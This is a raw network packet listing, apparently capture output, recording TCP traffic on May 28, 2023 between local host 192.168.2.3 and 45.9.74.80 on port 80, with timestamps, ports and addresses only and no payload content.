May 28, 2023 10:42:43.682437897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682441950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682486057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682528019 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682532072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682579041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682624102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682670116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682713032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682717085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682765007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682806015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682810068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682857990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682898998 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682904005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682950974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682991028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682997942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683043957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683089972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683093071 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.683137894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683181047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.683183908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683232069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683271885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.683278084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683329105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.683374882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.683376074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.684510946 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.684510946 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.685450077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.685501099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.685548067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.685561895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.685874939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.706445932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708142996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708199978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708229065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708283901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708338022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708409071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708424091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708425045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708447933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708487988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708525896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708565950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708566904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708606005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708646059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708646059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708683968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708722115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708724022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708760977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708800077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708801031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708838940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708878040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708879948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708914995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708954096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.708954096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.708992958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709029913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709033012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709068060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709108114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709110022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709146976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709186077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709187984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709223032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709260941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709263086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709304094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709362030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709372044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709409952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709450006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709455967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709508896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709549904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709556103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709602118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709642887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709647894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709693909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709738016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709738970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709784985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709825993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709830046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709877014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709919930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.709923983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.709970951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710011005 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710016966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710063934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710102081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710108995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710155010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710199118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710200071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710247993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710289001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710294962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710345030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710349083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710391998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710438013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710481882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710483074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710531950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710571051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710577011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710623980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710664034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710669994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710716963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710757971 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710762978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710810900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710850000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710855961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710902929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.710969925 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.710971117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711020947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711064100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711066961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711113930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711158037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711159945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711208105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711252928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711265087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711303949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711349010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711349964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711394072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711441040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711445093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711488008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711534023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711534977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711582899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711626053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711627007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711673975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711719036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711721897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711767912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711812973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711813927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711858988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711903095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711905003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711951971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.711993933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.711997032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712044001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712088108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712089062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712135077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712176085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712178946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712224960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712274075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712301016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712349892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712397099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712397099 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712443113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712486029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712488890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712538004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712575912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712582111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712629080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712671041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712673903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712718964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712759018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712764978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712810993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.712852001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.712857962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.714364052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.736572027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.737315893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.737670898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737725019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737771988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737813950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.737818956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737865925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737912893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.737953901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.737958908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738007069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738051891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738051891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738101006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738126993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738159895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738200903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738204956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738250971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738296986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738301039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738348007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738393068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738394022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738440990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738482952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738487959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738533974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738574028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738579035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738626957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738672018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738711119 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738717079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738764048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738802910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738809109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738856077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738900900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.738902092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738950014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738996029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.738997936 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739041090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739084959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739088058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739135981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739177942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739180088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739228010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739270926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739273071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739322901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739362955 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739370108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739415884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739460945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739481926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739506960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739550114 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739552021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739598989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739639997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739645004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739692926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739732981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739739895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739785910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739825964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739831924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739877939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739921093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.739922047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.739970922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740010023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740015984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740061998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740096092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740107059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740149021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740153074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740199089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740245104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740246058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740328074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740375042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740377903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740421057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740459919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740469933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740515947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740560055 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740561008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740608931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740648985 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740653992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740701914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740741014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740752935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740844011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740875006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.740889072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740936041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.740982056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741029024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741069078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741074085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741122961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741168976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741173029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741216898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741262913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741306067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741311073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741359949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741405010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741408110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741451025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741498947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741499901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741539001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741544962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741590977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741637945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741682053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741695881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741728067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741735935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741776943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741820097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741822958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741871119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741909981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.741915941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.741961956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742002010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742008924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742055893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742100954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742101908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742146969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742178917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742208958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742259979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742314100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742333889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742357969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742403984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742403984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742451906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742492914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742496014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742542028 CEST	80	49704	45.9.74.80	192.168.2.3
